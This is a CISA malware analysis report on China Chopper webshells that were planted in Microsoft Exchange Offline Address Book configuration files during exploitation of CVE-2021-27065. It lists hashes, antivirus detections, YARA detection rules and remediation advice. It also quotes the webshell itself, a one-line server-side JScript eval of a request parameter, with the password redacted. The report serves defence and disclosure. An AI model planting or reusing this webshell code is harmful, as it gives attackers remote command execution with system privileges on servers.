Malware Analysis Report (AR21-072D)

MAR-10329297-1.v1: China Chopper Webshell

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Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

For a downloadable copy of IOCs, see: MAR-10329297-1.v1.stix.

Summary

Description

CISA received two unique files for analysis. These files appear to contain configuration data for two different Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a Microsoft Exchange Server. Both output files show malicious modifications for the ExternalUrl parameters for these two OAB VDs on the targeted Exchange Servers. In one of the OAB VDs, the ExternalUrl parameter contains a "China Chopper" webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server. The second file is modified with an authentication key.

Submitted Files (2)

31a750f8dbdd5bd608cfec4218ccb5a3842821f7d03d0cff9128ad00a691f4bd (2XJHwN19.aspx)

d637b9a4477778a2e32a22027a86d783e1511e999993aad7dca9b7b1b62250b8 (UwSPMsFi.aspx)

Findings

d637b9a4477778a2e32a22027a86d783e1511e999993aad7dca9b7b1b62250b8

Tags

backdoortrojanwebshell

Details
Name UwSPMsFi.aspx
Size 2186 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 78564702783ba738aa6a920f3b15a202
SHA1 a75fa74ae35ce20c9cfc273c219ef58f1c4714a6
SHA256 d637b9a4477778a2e32a22027a86d783e1511e999993aad7dca9b7b1b62250b8
SHA512 63afff12ac7cfd65ba31aad61bab534040fc3ff8b782336fcdbe171bf43f733734770c5f11bfbf9f4b5a1beaf279e8ad8d6509ff6e07b7afba098a8e6ba52a6c
ssdeep 24:kNrde9/xL+rJTh91Q/PSR6j0SzMaEVMr6j71idfhLhgupVFgdUYC2E4ONF0qp0Bz:kNrdezC1BO0KM5QZLh9pV/YE4ONF0qBW
Entropy 4.662408
Antivirus
Ahnlab Exploit/ASP.Cve-2021-27065.S1406
Avira EXP/CVE-2021-27065.1
BitDefender Generic.ASP.WebShell.H.48A3B112
ClamAV Asp.Trojan.Webshell0321-9840176-0
Emsisoft Generic.ASP.WebShell.H.48A3B112 (B)
Ikarus Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.H.48A3B112
McAfee Exploit-CVE2021-27065.a
Microsoft Security Essentials Exploit:ASP/CVE-2021-27065
Quick Heal CVE-2021-26855.Webshll.41350
Sophos Troj/WebShel-L
Symantec Trojan.Chinchop
TrendMicro Backdoo.DDEA7357
TrendMicro House Call Backdoo.DDEA7357
YARA Rules
  • rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = "CISA Code & Media Analysis"
           Incident = "10328929"
           Date = "2021-03-17"
           Last_Modified = "20210317_2200"
           Actor = "n/a"
           Category = "Trojan WebShell Exploit CVE-2021-27065"
           Family = "HAFNIUM"
           Description = "Detects CVE-2021-27065 Webshellz"
           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
       strings:
           $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
           $s1 = { 65 76 61 6C 28 }
           $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
           $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
           $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
       condition:
           $s0 or ($s1 and $s2) or ($s3 and $s4)
    }
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = "CISA Code & Media Analysis"
           Incident = "10328929"
           Date = "2021-03-17"
           Last_Modified = "20210317_2200"
           Actor = "n/a"
           Category = "Trojan WebShell Exploit CVE-2021-27065"
           Family = "HAFNIUM"
           Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
       strings:
           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
       condition:
           $s0 and $s1 and $s2
    }
ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in Internet Information Services (IIS) on Microsoft Exchange Servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.

The ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:

--Begin Code--
hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED]"],"unsafe");}</script>
--End Code--

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

31a750f8dbdd5bd608cfec4218ccb5a3842821f7d03d0cff9128ad00a691f4bd

Tags

backdoor

Details
Name 2XJHwN19.aspx
Size 2177 bytes
Type ASCII text, with CRLF line terminators
MD5 4580f7f2f2d7ac1af26693132c2e756d
SHA1 1fead8d37f73b87ab75d0096d49b797afe7d0445
SHA256 31a750f8dbdd5bd608cfec4218ccb5a3842821f7d03d0cff9128ad00a691f4bd
SHA512 fceddb90d8a9445a726eefa6df7fe928006d6a29279138e1b7906534d3b188d08eda62a939617a7944889d8e2e160417600947f48d5704cb537e64b2523ba1a4
ssdeep 48:kNrdNC1BS67PQZLh9pVn3tE4ONF0qny/W:ktdcVM7n3mNCqny/W
Entropy 4.495728
Antivirus
Sophos Troj/ASPDoor-W
YARA Rules
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = "CISA Code & Media Analysis"
           Incident = "10328929"
           Date = "2021-03-17"
           Last_Modified = "20210317_2200"
           Actor = "n/a"
           Category = "Trojan WebShell Exploit CVE-2021-27065"
           Family = "HAFNIUM"
           Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
       strings:
           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
       condition:
           $s0 and $s1 and $s2
    }
ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit a OAB VD in IIS on Microsoft Exchange Servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The configuration has been modified with a key in the 'ExternalUrl' field. The key is most likely used for authentication to the server.

Mitigation

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

Revisions

March 13, 2021: Initial Version
March 25, 2021: New YARA rule added

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